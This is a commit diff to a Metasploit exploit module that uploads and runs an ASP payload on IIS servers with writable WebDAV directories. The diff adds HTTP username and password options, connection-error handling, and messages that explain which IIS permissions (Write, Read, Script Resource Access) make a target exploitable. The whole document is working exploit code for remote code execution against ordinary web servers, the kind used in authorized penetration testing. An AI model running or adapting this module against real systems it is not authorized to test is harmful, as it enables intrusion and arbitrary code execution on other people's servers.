Land rapid7#4124, @wchen-r7 fixes rapid7#4115 adding HTTP auth support to iis_webdav_upload_asp

Author: jvazquez-r7

modules/exploits/windows/iis/iis_webdav_upload_asp.rb

@@ -17,7 +17,11 @@ def initialize
       'Description'    => %q{
           This module can be used to execute a payload on IIS servers that
         have world-writeable directories. The payload is uploaded as an ASP
-        script using a WebDAV PUT request.
+        script via a WebDAV PUT request.
+
+          The target IIS machine must meet these conditions to be considered
+        as exploitable: It allows 'Script resource access', Read and Write
+        permission, and supports ASP.
       },
       'Author'      => 'hdm',
       'Platform'    => 'win',
@@ -36,6 +40,10 @@ def initialize
 
     register_options(
       [
+        # The USERNAME and PASSWORD are registered again to make them more obvious they're
+        # configurable.
+        OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']),
+        OptString.new('PASSWORD', [false, 'The HTTP password to specify for  authentication', '']),
         OptString.new('PATH', [ true,  "The path to attempt to upload", '/metasploit%RAND%.asp'])
       ], self.class)
   end
@@ -53,24 +61,25 @@ def exploit
     #
     print_status("Uploading #{asp.length} bytes to #{path_tmp}...")
 
-    res = send_request_cgi({
-      'uri'          =>  path_tmp,
-      'method'       => 'PUT',
-      'ctype'        => 'application/octet-stream',
-      'data'         => asp,
-    }, 20)
+    begin
+      res = send_request_cgi({
+        'uri'          =>  path_tmp,
+        'method'       => 'PUT',
+        'ctype'        => 'application/octet-stream',
+        'data'         => asp,
+      }, 20)
+    rescue Errno::ECONNRESET => e
+      print_error("#{e.message}. It's possible either you set the PATH option wrong, or IIS doesn't allow 'Write' permission.")
+      return
+    end
 
     if (! res)
-      print_error("Upload failed on #{path_tmp} [No Response]")
+      print_error("Connection timed out while uploading to #{path_tmp}")
       return
     end
 
     if (res.code < 200 or res.code >= 300)
       print_error("Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
-      case res.code
-      when 401
-        print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
-      end
       return
     end
 
@@ -86,17 +95,15 @@ def exploit
     }, 20)
 
     if (! res)
-      print_error("Move failed on #{path_tmp} [No Response]")
+      print_error("Connection timed out while moving to #{path}")
       return
     end
 
     if (res.code < 200 or res.code >= 300)
       print_error("Move failed on #{path_tmp} [#{res.code} #{res.message}]")
       case res.code
-      when 401
-        print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
       when 403
-        print_warning("Warning: The web site may not allow 'Script Source Access', which is required to upload executable content.")
+        print_error("IIS possibly does not allow 'Read' permission, which is required to upload executable content.")
       end
       return
     end
@@ -118,6 +125,10 @@ def exploit
 
     if (res.code < 200 or res.code >= 300)
       print_error("Execution failed on #{path} [#{res.code} #{res.message}]")
+      case res.message
+      when 'Object Not Found'
+        print_error("The MOVE verb failed to rename the file. Possibly IIS doesn't allow 'Script Resource Access'.")
+      end
       return
     end
 
@@ -138,7 +149,11 @@ def exploit
     end
 
     if (res.code < 200 or res.code >= 300)
-      print_error("Deletion failed on #{path} [#{res.code} #{res.message}]")
+      # Changed this to a warning, because red is scary and if this aprt fails,
+      # honestly it's not that bad. In most cases this is probably expected anyway
+      # because by default we're using IWAM_*, which doesn't give us a lot of
+      # freedom to begin with.
+      print_warning("Deletion failed on #{path} [#{res.code} #{res.message}]")
       return
     end